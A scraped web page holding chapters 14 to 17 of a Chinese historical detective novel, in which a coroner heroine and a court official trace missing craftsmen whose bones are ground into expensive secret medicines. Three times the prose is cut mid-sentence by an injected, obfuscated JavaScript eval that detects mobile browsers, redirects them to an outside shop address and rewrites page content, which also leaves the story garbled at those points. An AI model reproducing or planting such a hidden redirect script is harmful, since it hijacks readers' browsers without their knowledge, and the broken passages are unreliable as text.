谢知津站在旁边,瞧着这具冷冰冰的尸体,一筹莫展:“钱掌柜是重要知情人,甚至可能是参与者。他被灭口,说明我们触到了他们的痛处。” “现在钱掌柜这条线断了,”明荔洗净手,走到一旁,解下外罩,“接下来我们该从哪里入手?” “钱掌柜死了,但瑞丰石料行还在。我们可以先从那些失踪的匠人,孙河处查起。” 他顿了顿,看向明荔:“恐怕要劳烦你,走一趟西山了。孙河究竟是意外,还是被害,总要有个确切的说法。” “好,我即刻动身。” 她转身便要走,哪知道谢知津又把她拉了回来。 修长的大手牢牢攥住她的手腕,明荔的心也随着紧了起来。 “方才季家来了消息,希望我能快速告破此案,所以我没办法去西山。不过我会派人去保护你,你自己也要多加小心。” “嗯,知道了。”明荔的视线落在他的手上,瞧着他递过来的口哨,“莫以新被我派去查季贤的案子了,不能护你。若你遇到危险便吹响此哨,自会有人相助。” 说罢,他才缓缓松开手。 西山在汴京西郊三十里外,山势险峻,林木葱郁。瑞丰石料行的采石场位于西山北麓,一片被人工开凿出的巨大白色岩壁,在群山中格外显眼。 明荔与大理寺一行人赶到时,已是晌午。 采石场的工头是个皮肤黝黑,身材壮硕的汉子,名叫赵夯,听说大理寺来人复查孙河坠崖案,倒是没什么怪异之处,恭敬地将众人引至所谓的坠崖点。 “大人,就是这里。”赵夯指着一段陡峭的崖壁,“当日孙河就是在此处作业,失足滑了下去。我们寻了三天,只在下游河边找到他被树枝挂破的衣裳和一点血迹。” 明荔走到崖边,仔细观察。崖壁近乎垂直,岩石裸露,只有几丛顽强的杂草从石缝中探出。她俯身,查看崖边的地面和岩石。 “赵工头,”她声音平静,“你确定孙河是在此处作业时失足?” “是,是啊。”赵夯搓着手。 “那为何这崖边并无固定绳索的磨痕?”明荔指向光秃秃的岩石表面,“采石工在如此险峻处作业,必先固定自身。这崖边干净得像是从未有人在此系过绳索。” 赵夯脸色微变:“许是,许是时日久了,痕迹没了。” 明荔冷冷地看着赵夯:“即便时间再久,也不该什么痕迹都没留下。赵工头,知情不报,可是重罪。” 赵夯噗通一声跪倒在地,冷汗直流:“大人明鉴!这些,都是钱掌柜让我说的。孙河,孙河那日确实没来上工,他的衣物是钱掌柜后来让人拿来,丢在河边,故意让兄弟们发现的!小人也不知道孙河到底去了哪儿啊!” “钱掌柜为何要这么做?”明荔逼问。 “小人不知,真的不知!钱掌柜只说是孙河惹了麻烦,让我们统一口径。大人,小人只是一时糊涂,贪了点钱掌柜给的好处。” 明荔瞧着悬崖思索,若孙河不是在此处坠落,那尸体又该在何处。 “郡主。”衙役轻声唤道,“那边似乎有些异常。” 明荔顺着他指的方向望去,那是一片茂密的灌木丛,根本看不到前路。 “你,带几个人,过去看看。” 衙役领命后,带着手下拨开灌木。 灌木之后,竟隐藏着一条小路,蜿蜒通向山坳深处。 小径上隐约可见新鲜的车辙印和零星的,灰白色石粉。 众人沿着小径前行,越往里走,那股怪异的香气越重。 走了约莫一炷香的功夫,眼前豁然开朗。山坳深处,竟隐藏着几间废弃的土坯房和一个半塌的砖窑。 窑口用泥土胡乱封着,明荔探了温度,还有些余热。 “把这里挖开。”明荔立即下令。衙役们迅速动身,用剑刨着。 窑口旁散落着一些碎骨渣,还有几个残破的陶罐,罐底残留着暗红色的,已经凝固的香膏。 “大家加把劲。”她肯定道,“这里应当是加工人骨的地方。” 挖到最后之时,两名胥吏上前,用随身携带的棍棒撬开封窑的泥土。 一股浓烈,滚烫,混杂着肉腥,香料和焦糊味的白汽猛地从窑内涌出,熏得人连连后退。 待烟气稍散,众人向内望去,皆倒吸一口凉气。 窑内支着几口大铁锅,锅底柴火的余烬尚存,锅内是浑浊不堪,漂着油花和骨渣的液体,散发着难以形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697084|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容的气味。 窑壁四周散乱地堆放着大量白骨,有些已经处理干净,白森森地堆在一旁,有些还带着未剔尽的筋肉组织,有蝇虫盘旋,更有一些较小的骨骼碎片散落满地,显然是被暴力敲碎所致。 明荔捂住口鼻,强忍着不适,走进窑内。她蹲下身,仔细检查那些白骨。 “不止一个人。”她声音有些发颤,拿起两根明显属于不同个体的腿骨,“从骨骼大小,粗细判断,这里至少有三到四名受害者。” 从工具上来看,分尸,烹煮,剔肉,研磨,是在系统性地处理尸体。 明荔环视这个如同人间地狱般的场所,拳头紧握,指节发白。 衙役们搜查周围,发现旁边有一个破旧的木箱,箱子里装着一些尚未使用的香膏原料,以及几块印着特殊标记的布料。 明荔则在白骨堆中继续寻找线索,在一堆指骨碎片中,她发现了一枚小小的,被熏得发黑的铁指环。 “大人!这里有发现!”一名衙役在土坯房的炕席下,摸出了一个用油布包裹着的小本子。 明荔接过打开,里面是用炭笔记录的简单账目,字迹歪斜: “三月初五,收石料一方,付钱十五贯。” “三月十二,出白货二十斤,收金三十两。” “三月二十,石料不足,催货。” 账目虽然隐晦,但明荔猜测。这石料指的恐怕就是活生生的匠人,白货则是处理过的人骨。后面还记录着一些日期和代号,像是交货记录。 最后一页,那一页的角落,无意中印上了一个模糊的,深蓝色的指印,指印旁,还用极细的笔触画了一个小小的,飞鸟标记。 “大人!您看这个!”衙役又从灶膛的灰烬里,扒拉出一块没有完全烧毁的碎布片,布料是深蓝色的,上面依稀可见半个刺绣的飞鸟图案,与那账本上的标记一模一样。 “带回去,仔细查验。”明荔将账本和碎布片小心收好。 随后,她在清理一堆较大的骨骼时,找到了一块相对完整的肩胛骨,骨面上似乎刻着什么东西。 她用水清洗干净,对着光仔细辨认。 那是一个歪歪扭扭刻出的王字,像是临死前用尖锐物拼命刻下的。 “王,难道是姓氏?”明荔沉思着。 返回大理寺的路上,明荔坐在车里一直看着那个飞鸟标记,眉头紧锁。 “这个标记,总感觉在哪里见过。”她沉吟道。 随后明荔拿出那枚找到的铁指环,无意摸索间,在指环内侧,发现了刻痕。 她努力辨别字体走向。 “河?”她自言自语,“孙河吗?” 不知是什么缘故,马儿受了惊吓,猛地一停,明荔的头磕到了内壁上。 她挑开帘子向外头望时,外面正是刀光剑影。 衙役们正和前来刺杀的黑衣人缠斗。 明荔抱着物证在马车里低语,“别啊,我可不想要这种死法,多疼啊……” 马儿再度受了惊吓,发了疯似地向西山跑去。 15. 第 15 章 “驾!拦住那辆马车!”黑衣人的嘶吼声穿透风声,明荔瞥见为首那人面罩下露出的眼角有一道疤痕,正是方才在山坳外潜伏的刺客。 她猛地缩回头,将物证塞进马车底板的暗格,又抓起谢知津给的口哨含在嘴里,这哨音只能唤来他安排的暗卫,可此刻马车越跑越偏,周遭只剩密林呼啸,暗卫能否及时赶到,全凭天意。 后来马儿不知被什么绊了一下,前蹄猛地跪倒,明荔整个人被甩出车外,重重摔在黄土地上。 她踉跄着爬起来,只觉膝盖火辣辣地疼,回头望去,马车已翻倒在斜坡下,被黑衣人团团围住。 她不敢耽搁,转身就往密林深处跑,身后的脚步声越来越近,弯刀划破空气的锐响几乎贴在耳畔。 慌不择路间,明荔撞进一片浓密的灌木丛,枝桠划破了脸颊,她顺着斜坡往下走,待身后没有脚步声才敢停下。 “服了,服了。要不是我大学热爱健身,拖着她这副身体,早死了。” 明荔坐在土坡旁喘着粗气,观察周围地形。 此处只适合暂时藏身,若是想拖到暗卫来找她,恐怕要再寻他处。 她拍了拍身上的灰才起身,便觉得脖颈处一凉。 明荔下意识举起双手,缓缓转身,“别,别杀我啊……” 杀手没搭话,只想手起刀落,然后回去领赏。 “别啊!”明荔双眸紧闭,要认栽时,一只袖箭射了过来。 直入眉心,杀手的血喷了她一脸。 “郡主受惊了。” 是莫以新。 “你们怎么在这?” 林怀州叉腰,“我们是来找绿夏的,他听见了哨子声,便忙着赶过来。” 莫以新去查验杀手的尸体,在他身上搜查后,也是一无所获。 “走吧,我们回去。” 莫以新看她身上有伤,蹲身请她上去,“我背您回去。” …… 谢知津在季家盘问了一上午也没没有问出什么有用的,季家下人都像是串通好了一般,统一口径都说绿夏是为了报复季家将她赶出门去,这才谋害大少爷。 他被谢府的官家请出了府,独自一人徘徊在大街上。 大概每日这个时辰朱雀街上都会有除灰夫来清扫街道,今儿恰好碰见时,除灰夫不小心撞了他,往他怀里塞了封信。 那除灰夫不会说话,打着手语,让他千万好好看信。 写信之人是季府的夫人李氏。 妾虽无德无功,但求谢大人保全妾性命,日后定当报答。 谢知津将信揣到怀里,又折回季府。 季宁端坐高堂,府中几位身强体壮男侍从执仗,要将李夫人活活打死。 “你们做什么?” 季宁慌忙从方椅上站起,面色慌乱,“大人怎么回来了?”不时还瞥周围奴婢一眼,责怪她们没有及时来报。 “这本是家丑,怎敢污了大人的耳朵。” 伏在地上奄奄一息的李夫人,强撑着身子爬起,想拽住谢知津的衣摆,却因没了力气,只摸到了他的鞋子。 “救我……” 说罢,她便昏了过去。 “夫人?夫人?”谢知津确定她还有气息后,将披风解下来盖在她身上,“还不叫府医来为夫人诊治!” 府中都是季宁的亲信,也都是看她的脸色行事。 季宁见事情瞒不住,冷言冷语,“还不叫府医来?!” 府医诊治之时,谢知津又将季宁带到别处问讯。 “季家主?我总觉着关于季贤的事情,你还有别的瞒着我。” 季宁也不再掩饰,“李氏虽嫁与我弟弟,可却不守妇道,同别的男人厮混,败坏季氏门风。” “哦?”谢知津的目光凉凉扫过季宁,“若只是厮混休书一封便是,又原何要置人于死地。” 季宁转眸看他,虽说是被他撞破,可这等丑事也不能和盘托出,叫人落了笑话。哪知道,这人丝毫不肯退让。 她将心腹之人都遣了出去,屋中独留他们二人,“她同别人厮混不说,还有了别人的孩子,乱我季氏血脉,你说,该不该死。”季宁盘着手里的珠串,眸光阴寒,“我没要了那个孩子的命已是仁慈,大人还是莫要再管了。” “即便如此,你也不该伤人性命。”正说着,刘妈妈在外头轻唤,“大人,家主,夫人醒了。” 谢知津同季宁一道过去。 榻上的李氏,唇上已经没了一点血色,只能靠着床头,强撑着身体。 “多谢大人搭救。” 季宁居高临下的瞧着她,又说,“今日看在大人的面上饶你不死,往后的日子你便常伴佛祖左右,为我们季家祈福吧。” “呵,呵……”李夫人似发了疯般笑了起来,“要我为你们季家祈福,我告诉你绝无可能!” “你以为绿夏为什么要杀季贤。”李夫人快言快语,不给季宁发作的机会,“若不是季贤辜负绿夏,将她逼的走投无路,绿夏又怎会出此下策。” “什么意思?”谢知津问。 季宁也疑心。 “我和季贤成婚时便已经约定好婚后互不干涉,他有喜欢的人,我也心有所爱,若不是你非要他娶我现在也不至于落个这样的下场。”李夫人嘲弄道,“绿夏有季贤的孩子了你知道吗?本来我和季贤商量好,狸猫换太子,把真正的季家血脉换进府中,然后我便以假死脱身,远走高飞。” “可是你呢!”李夫人一改往日温柔的面孔,“你发现了季贤的龌龊事把他关在屋子里,让他错失了将亲子带回来的机会,那夜大雨,那孩子感染了风寒,高烧不退,绿夏为了替他报仇这才杀了季贤。” “到现在,她都以为是季贤负了她,殊不知她恨错了人。” “所以,你也是知道此事的对吧。”谢知津冷声问。 “自然是知道的,说到底他也该死,若是当年他在坚持坚持,说不定就能娶到心爱之人了。既毁了我的幸福,又负了绿夏,你说他该不该死。” 季宁险些跌坐到地上,难以置信的瞧着李氏,“不,不,都是你们,都是你们害死他的,都是你们!” 一语难以点醒梦中之人,谢知津再走之前,转告府内官家,若是李夫人出了什么事,定会请季家主到大理寺去。 午间至大理寺时,众人都在正厅用饭。 “怎么回事?” 明荔虽然换了身干净的衣裙,但他还是注意到她手上的擦伤。 “从西山回来时,遇到了杀手。还好,莫以新及时出现救了我。” 谢知津坐在旁边,林怀州给他添了碗筷。 “暗卫那边来报,所有的杀手都服毒自尽了。”莫以新回道。 “我们得了账本,我已让周蔚去查探了。” “有了,有眉目了。”才说到他,周蔚便急急忙忙的赶来了。 周蔚将几页写满字的纸放在案几上,“我们比对了土窑账本上所有代号的交易日期,反向追踪银钱流向,锁定了三家铺子。” 他的手指点在第一张纸上:“德济堂,城南最大的药铺之一,明面上做的是正经药材生意。但我们在查其近三个月账目时发现,有三笔大额支出,时间与账本上出白货的记录完全吻合,且收款方不明。” 接着,他指向第二张纸:“妙香斋,城东有名的香烛店,不仅卖香烛,也售些高端香料。同样,有两笔异常资金流出,时间点也对得上。” 最后,他的手指重重落在第三张纸上,语气也凝重了几分:“最可疑的是这家,城北的''永寿堂''。表面看只是家不起眼的小药铺,门面陈旧,生意惨淡。但我们的人盯了一会儿,发现进出之人虽不多,却都非富即贵,且多是遮遮掩掩,从后门而入。其资金流动更是不明,几乎每隔十天半月,就有一笔来历不明的大额进账,随后又迅速以购药名义流出,数额巨大,远超其店面应有的营收。” 谢知津拿起那几张纸,目光锐利:“可查到这些资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697085|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金最终流向?” 周蔚摇头:“对方非常谨慎,几经周转,最后都汇入了不同的外地商号,暂时难以追查到底。但可以肯定,这三家店铺,都与那土窑账本脱不了干系。” “永寿堂。”谢知津轻声重复这个名字,“专营秘药?” “是。”周蔚点头,“我们的人设法接近了一个刚从永寿堂出来的客人,花了大价钱才套出点话。那永寿堂掌柜姓胡,据说手里有几种效果奇佳的秘药,只卖给熟客或经人引荐的贵客。其中最出名的有两种,一名金刚散,据说是壮阳圣品;另一名镇煞丸,用于风水镇物,保家宅安宁,价格高得吓人。" “金刚散,镇煞丸?”林怀州皱眉,“我在京州这么久,从来未听过这些东西。” “一会儿吃过饭,你在我私库取些银子,买一些回来。”谢知津起身给他倒茶,夹菜。 周蔚脸色一变,“我已扮做商人试过了,那永寿堂的胡掌柜警惕性极高,生客根本接触不到核心。” “无妨。”明荔笑道,“用过饭我手书一封,你城西找百草阁的孙掌柜,他自有门路。” 孙家世代经营药材,与三教九流皆有往来,有些见不得光的生意,他们比官府里的人更清楚门道。 众人用过饭后,谢知津便要将明荔送回府中。 明荔是被他抱进马车的,仓惶间,她的手还碰到了谢知津的肌肉。 即便隔着衣料,但还是能隐约感觉到,身材不错。 明荔的嘴角根本压不住,‘原主吃这么好的?’ “你笑什么?”谢知津盯了她半晌,突然发问。 “没什么没什么。”不过他还是嘴硬,“不要以为我抱你就是原谅你了,我只是看你身为仵作,为查案负伤,心中过意不去罢了。” 谢知津不说,明荔都忘忘了两人的过节,这段时间实在是忙的冲昏了头,别的事都没时间去想了。 “若真过意不去,你不如便帮我想想该如何和太子殿下解除婚约吧。” 她留下一句话,被府中奴婢抬回了内院。 马车上,女娘的衣香久久不散,缠在谢知津心头,险些让他窒息。 短暂回神,命车夫调转马头,往谢府去。 左右腿受了伤,在府中闲来无事明荔便命人找来许多古籍,翻阅了一下午,皆无所获。 直到第二日黄昏,周蔚才带着一个不起眼的布包返回。 打开布包,里面是一个精致的紫檀木盒和一个小巧的锦囊。 木盒里铺着红色丝绒,盛放着一种暗红色、质地细腻的粉末,正是金刚散。锦囊里则是三颗龙眼大,用蜡封得严严实实的黑色药丸,散发着一股沉郁的异香,是镇煞丸。 “岂止是价格惊人。”周蔚低声道,“就这点东西,足够寻常五口之家数年用度。” 谢知津立刻取少量置于白瓷盘中,加入清水。粉末部分溶解,水色变得浑浊,底部渐渐析出一些极其细微的,颜色更深的沉淀物质。 紧接着用小刀仔细刮开蜡封,丸药内部是深褐近黑的颜色,质地紧密,在往里探,便也是白色。 这金刚散和镇煞丸中,都掺有大量人骨粉。” 周蔚脸色铁青,眼中怒火燃烧,半晌,才从牙缝里挤出一句话:“丧尽天良!” “必须查清这些秘药的最终流向。”谢知津强迫自己冷静下来,“能消费得起这等东西,并且相信其效用的,绝非普通人。这背后,定然是一个盘根错节的利益网络。” 林怀州拿起被刮开的镇煞丸,仔细分辨了好久,早在谢知津化开此物时,他便闻到了一丝不一样的气味。 “大人,他忽然抬头,“这里头好像放了安神香一类的药品,不过具体的,属下也猜不到,若想知晓其中究竟有什么,还需要懂行的人来。” “不过我觉得咱们可以从此入手,查一查京城内所有能供应顶级龙涎香,檀香以及名香料的店铺。” 谢知津声音抬高,“周蔚你即刻去办。” 16. 第 16 章 周蔚的动作极快,不过两日,一份详尽的卷宗便呈到了谢知津的案头。 京州城内能稳定供应龙涎香,檀香不断,以及那些名贵药材的铺子,总共不过五家。 其中,蕴香阁和宝瑞祥两家,近半年来的大宗交易记录中,多次出现一个共同的名字,永寿堂。 “又是永寿堂。”谢知津指尖点着纸张上的名字,“看来这家小药铺,远不像表面看起来那么简单。” 更甚,在宝瑞祥的账目里,还发现了几笔与范府的往来,采购的是龙涎香和安神香,在世家大族里原没什么稀奇的,不过时间点,与永寿堂购买原料的时间有重叠。 “范府?”谢知津嘀咕。 “是范仲荣的府上,还是他那些侄男侄女的府邸?”谢知津追问。 周蔚答道:“账目上只记了范府,具体是哪一房并未注明。但据宝瑞祥的掌柜回忆,去采购的像是范府外宅的管事,姓胡。” “胡?”谢知津眼神一凝,“永寿堂的掌柜也姓胡。” “是,属下也注意到了这一点。”周蔚继续禀报,“我们顺着这条线查了那个胡管事。他名叫胡永禄,是范仲荣妻弟,王员外府上的外宅管事,颇有些权势。而永寿堂的胡掌柜,经查实,名叫胡永福,是胡永禄的同宗堂弟。” “你带几个人,把胡永福抓来大理寺。记得千万别惊动了范公。” “是!” 周蔚便衣入永寿堂时找不到人,便叫来学徒问询。 那学徒说,一个时辰前,胡永福至后院收拾香料,如今还未出来。 周蔚带人冲进后院,一具尸体赫然呈现在面前。 小学徒看见师傅被吊在梁上,吓的瘫在地上。 周蔚让衙役把他放下来,随后拾起桌上那个信封。 自白书。 “你们在这等着,我去请大人过来,记住不许放任何人进来。” 周蔚急忙跑回大理寺,屋里明荔和谢知津正好说到关于同太子成婚一事。 正说到明荔问他会如何解决时,周蔚打断了谈话。 “大人,胡永福死了。” 谢知津的脸色瞬间阴沉如水,明荔则立即提起验尸箱,几人匆匆赶过去。 永寿堂后院已被封锁,永福的尸体被平放在地上,脖子上套着绳索,面色青紫,舌头微微伸出。 现场看起来确实像是一时想不开,悬梁自尽。 趁着明荔验尸的时候,谢知津正读那封遗书。 胡永福声称自己利欲熏心,研制并售卖金刚散与镇煞丸,所用原料乃是暗中收购无名尸骨,如今东窗事发,无颜见人,唯有以死谢罪。 谢知津把遗书揣进怀里,蹲下身问,“怎么样?” 她先检查了胡永福的颈部,绳索留下的索沟呈暗紫色,在颈后交叉提空。 “你看这里。”她指着尸体,“索沟深浅不一,尤其是这个位置,有中断和重叠的痕迹。这不符合自缢时绳索一次性勒紧的特征,倒像是被人从背后勒死后,再悬挂上去伪装的。” “尸斑主要集中于背腰部和下肢体侧,指压可褪,符合死后被悬挂的姿态。但如果他是自缢,尸斑更应该积聚于四肢末端。”明荔掰开胡掌柜握紧的拳头,指甲缝里有血迹残留,“他死前应该有过挣扎,慌乱之际抓伤了凶手。” 随后,周蔚前来回禀,“据学徒所说,胡掌柜经常独自一人往后院收拾香料,且不让任何人经手,说是怕乱了香方。” “爱香之人确会如此,这点不足为奇。”明荔接话。 “方才搜查胡掌柜房间的衙役来报说,在他房中发现了火盆,衙役在里头捡起几块没烧尽的残片。” “范……”谢知津眉头紧锁,单只一个范字,不能证明凶手真的是范公。 从这几块残片来看,烧的是账本,这上头应该记录了所有的交易往来,不过如今线索全断了。 “大人!”一名胥吏又从胡永福的书房砚台下,取来一张皱巴巴的纸条。上面只有潦草的几个字:“酉时三刻,老地方,速备新货,急要。” “新货?”明荔看着这两个字,心头一沉。 这意味着,可能又有新的受害者会出现,要尽早破案才是。 可凶手动作太快,太狠辣,每次都能抢先一步灭口。 这说明,对方不仅势力庞大,而且很可能在大理寺内部,或者能接触到案件进展的相关衙门里,有他们的眼线。 “周蔚,”他沉声道,“胡永禄那边,派人盯死了吗?” “已经安排了最得力的人手,十二时辰不间断监视。” “好。”谢知津目光锐利,“胡永福死了,胡永禄就是下一个关键。他背后的人,绝不会让他活太久,我们要保证他的安全。” …… 午间大理寺的气氛谈不上好,打明荔验过胡掌柜尸体后便觉得还有不对的地方,此时一直坐在验尸间,看着尸体发呆。 正厅里,谢知津也还在摆弄那封遗书,所有的线索都断了,只剩这个,起先他试图找到纸张来源,进而确定凶手。 可经过对比,这纸只是胡掌柜房中最普通的宣纸,墨迹也看似正常。 他捏起茶杯喝了口茶,想着醒神。 才入口一半,便觉不对。 谢知津将纸凑近鼻尖处闻,“苦杏仁味?” “难道,墨中有毒?” 他拿着这纸,急忙往验尸间跑。 转角时步子过快,刚好和明荔撞了个满怀。 来不及问什么,明荔将一份详细的验尸格目递给他,指尖点在一处记录上,“我在胡永福的胃内容物里,发现了未完全消化的糕点和茶渍。根据消化程度判断,他在死亡前一个时辰内,曾与人一同进食。” “一同进食?”谢知津之眼神一凝,“也就是说,胡掌柜可能同凶手认识?” “是。”明荔肯定道,“你呢,是有什么发现吗?” 谢知津将纸张递给了明荔,“这墨中似乎有些苦杏仁的味道。” “如今墨迹已干无法查证其中是否有毒。”明荔的手指画过纸面,“若是有,大抵是凶手在伪造遗书时,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704938|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上沾染了毒物,无意中混入。” “派去查胡家的人回来了吗?” 明荔话音才落,林怀州从案牍库匆忙而出。 原定是要同莫以新再往西山,一道查探绿夏尸首的。 但莫以新嫌他脚力太慢,便让他留在大理寺,帮衬谢知津。 “大人,我们彻查了胡永禄的背景和近期行踪。他是王员外府上的外宅管事,主要负责王员外的一些不便明言的私产经营,永寿堂明面上与他无关,但暗地里一直由他操控。所以胡永福只是摆在明面上的傀儡。” “王员外?” “就是前些日子死的那个王员外。”林怀州笃定。 “我还查到,胡永禄与瑞丰石料行的钱掌柜过往甚密,两人经常在城西的醉仙楼私下会面。而钱掌柜死后,胡永禄这几日深居简出,但就在胡永福被杀的前一个时辰,他曾秘密外出过一趟,去的就是永寿堂的方向我们的人亲眼看到他进了永寿堂的后门,大约停留了半个时辰才离开。” “他离开时的衣着?”明荔立刻追问。 “据周蔚回报,他进去时穿着一件常见的棕色绸衫,但出来时似乎换了一件深色的外袍,样式看不太清,但颜色偏深,像是蓝色或黑色。” “深蓝色?”明荔朗声道。 “怎么了?”谢知津看她神色不对。 “胡掌柜指间的戒指上,有缕丝线,就是深蓝色。” “还有,”林怀州继续道,“有更夫看到一辆挂着王字灯笼的马车曾在永寿堂附近停留。” “看来,咱们需要再回一趟王员外府了。” 打从王启仁死了以后,这府里上上下下都是戚夫人做主。 以前侍奉的人除了留下几个得力的,剩下的便也都被她发卖了。 如今这个时辰,月黑风高的,正适合同情人私会。 下人们通禀他们来后,戚夫人忙整理衣衫,从帐中出来,临走时还不忘嘱咐床上的郎君道,“等我回来。” 声音勾人,那郎君似魂都要被勾走了一般。 谢知津先是命人拿下了胡永碌,随后才至正厅。 “这是做什么?” 戚夫人瞧着下跪的胡永碌,心里好奇,“他杀人了?” “怕是做了比杀人还要伤天害理的事。”明荔道。 戚夫人不想同他们分说,毕竟这胡永碌是王员外的人,也是看着他在府服侍多年,人也麻利才被留用,如今犯了罪,自是要被遣走。 “既是有罪,关进牢狱便是,两位请便。” 明荔此来是想问她一件事,“夫人了识得这种标记?” 她将得到的飞鸟纹呈于面前。 “认得,以前王启仁活着的时候,家里婢仆的衣服上都会有此物标记。”戚夫人喝了口茶,转了笑颜,“不过现在不同了,现在啊,他们的衣服上都绣着我喜欢的牡丹花。” 谢知津瞧她的样子像是喝了些酒,该拿的人也拿到了,便不多留,“深夜叨扰了,告辞。” “深谢夫人了。”明荔盈盈一拜。 17. 第 17 章 “说说看,你们的动机是什么?”谢知津之声音低沉,“不仅仅是为了牟利吧?” 随后拿起从胡永福处搜出的那张纸条:“金主急要新货?这上头的金主指的是谁?” 胡永碌低着头不说话。 “范仲荣致仕后,看似韬光养晦,但据闻他极为迷信风水方术,府中常年供养着几位所谓的高人。”说到此处,胡永碌眼中才有了一丝动容,他调阅过范仲荣的相关卷宗,“若他相信以特定八字,特定体格男子的骨骼做法器或入药,能助他延年益寿,甚至重返朝堂,那这一切似乎就说得通了。” “我不知道你们说的什么?”如他们想的一样胡永禄一口否认。 “那你为何要杀钱掌柜?”谢知津又问,“别说你没去过永寿堂,有人曾看见你在案发时间段出现在那里。” 有些事做了便会留下痕迹,注定躲不过去。 “没错是我杀的他。” “理由呢?” “他骗我钱,我气不过失手杀了她。” 理由看似很充分,且和第一案发现场钱掌柜身上财物都被盗走吻合。 谢知津指尖轻轻敲击桌面,发出沉闷的笃笃声,“失手?” 他冷笑一声,声音里带着不加掩饰的嘲弄,“那么大的力道,你和我说是失手?” 胡永碌肩膀猛地一缩,指尖攥得发白,喉结滚动了两下:“我,我当时急了,我只是想吓唬他,没想到会这样。” 谢知津打断他,将一叠卷宗甩在他面前,最上面是几张失踪男子的画像,“这三位,皆是庚戌年生,身高七尺有余,骨骼清奇,和你卷宗里标注的备选名单完全吻合。钱掌柜是药材商,手里握着全城药材流通的底册,他要查谁在大量收购特殊骨料,易如反掌,你杀他,是怕他撞破你替范仲荣搜罗新货的勾当,而非什么骗钱。” 胡永碌猛地抬头,眼底满是惊惶,嘴唇哆嗦着却说不出反驳的话。 “那张纸条上的字迹,我们已经比对过了,和范仲荣府中幕僚的笔锋如出一辙。”谢知津俯身,目光锐利如鹰,“你替他物色符合条件的男子,或诱骗,或掳走,取其骨骼交差,换得重金。钱掌柜发现了你频繁采买防腐药材,又查到你和失踪男子有过接触,你怕他泄密,便杀人灭口,还故意盗走财物伪造劫杀现场,我说得对吗?” 胡永碌的脸色不大好,额头上渗出冷汗,顺着脸颊滑落。他张了张嘴,声音嘶哑得不成样子:“不,不是这样的,我真的只是……” “只是什么?”谢知津步步紧逼,“范仲荣给了你多少好处,让你甘愿为他草菅人命?还是说,你也盼着他重返朝堂后,能给你谋个一官半职?” “我没有!”胡永碌突然嘶吼一声,情绪彻底失控,“是他逼我的!他说如果我不照做,就杀了我全家!那些人,那些人不是我杀的,我只是帮他找人,取骨的是府里的高人!” 他瘫坐在椅子上,浑身脱力,眼神涣散,显然已是心理防线崩塌。 “那胡永福呢?” “他可是你的哥哥,你怎么忍心杀他?” 谢知津拍的桌子一震。 “他不是!他不是!”胡永碌情绪又激动起来。 谢知津闻言一怔。 “什么意思?” “他不配当我哥哥。”胡永碌说着眼中的泪止不住的流,“天下哪有哥哥强占弟媳的道理!” 谢知津不愿让他再说下去,不过时至今日还有一事不明。 当初他曾勘探过案发现场的地形,那里院墙高,胡永碌不会武,他是怎么进去且不被学徒觉察的? 除非…… 谢知津直起身,目光沉了沉,对门外扬声道:“带下去,即刻整队,前往范府。” 门外的衙役应声而入,架起失魂落魄的胡永碌往外走。胡永碌脚步踉跄,嘴里还在喃喃自语:“是他逼我的,我不想的。” 衙役们手持令牌,簇拥着谢知津直奔城南范仲荣府邸。 城南乃是权贵聚居之地,范仲荣的府邸更是气派非凡。朱漆大门高达丈余,铜环兽首狰狞,门楣上悬挂的范府匾额虽已有些年头,却依旧鎏金闪烁,透着往日的荣光。 老管家早已在门内窥探多时,见一行人气势汹汹而来,忙不迭撩袍跑出,脸上堆着层层叠叠的恭敬,双手下垂贴在身侧,可眼角的余光却不住往府内瞟。 “见过谢大人,不知大人今日前来,可有要事吩咐?我们家主已经歇下了,若有事奴可代为转达。” “奉府尹大人令,搜查府邸。”谢知津翻身下马,将缰绳丢给身后衙役,抬手亮出腰间鎏金令牌,令牌上“开封府”三字在残阳下寒光乍现,语气冷硬得不容置喙,“范仲荣涉嫌勾结凶徒,草菅人命,即刻配合搜查,不得阻拦,否则以同罪论处!” 老管家脸色嘴唇哆嗦着开口:“大人,这……这万万不可啊,我家老爷早已致仕,不问世事多年,怎会……” 话未说完,两名衙役已上前一步,一左一右架住他的胳膊,轻轻一推便将人搡到一旁。老管家踉跄着撞在门柱上,看着谢知津带人长驱直入,只能急得顿足,却不敢再上前阻拦。 府邸中,亭台楼阁错落有致,花木繁盛得近乎奢靡,竟有许多谢知津从未见过的名种。太湖石堆叠的假山蜿蜒曲折,池水中锦鲤悠然游弋,一派清雅闲适。 内院亭子里,范公正和夫人喝茶赏花。 见他来,范公命夫人前去煮茶,请谢知津坐下。 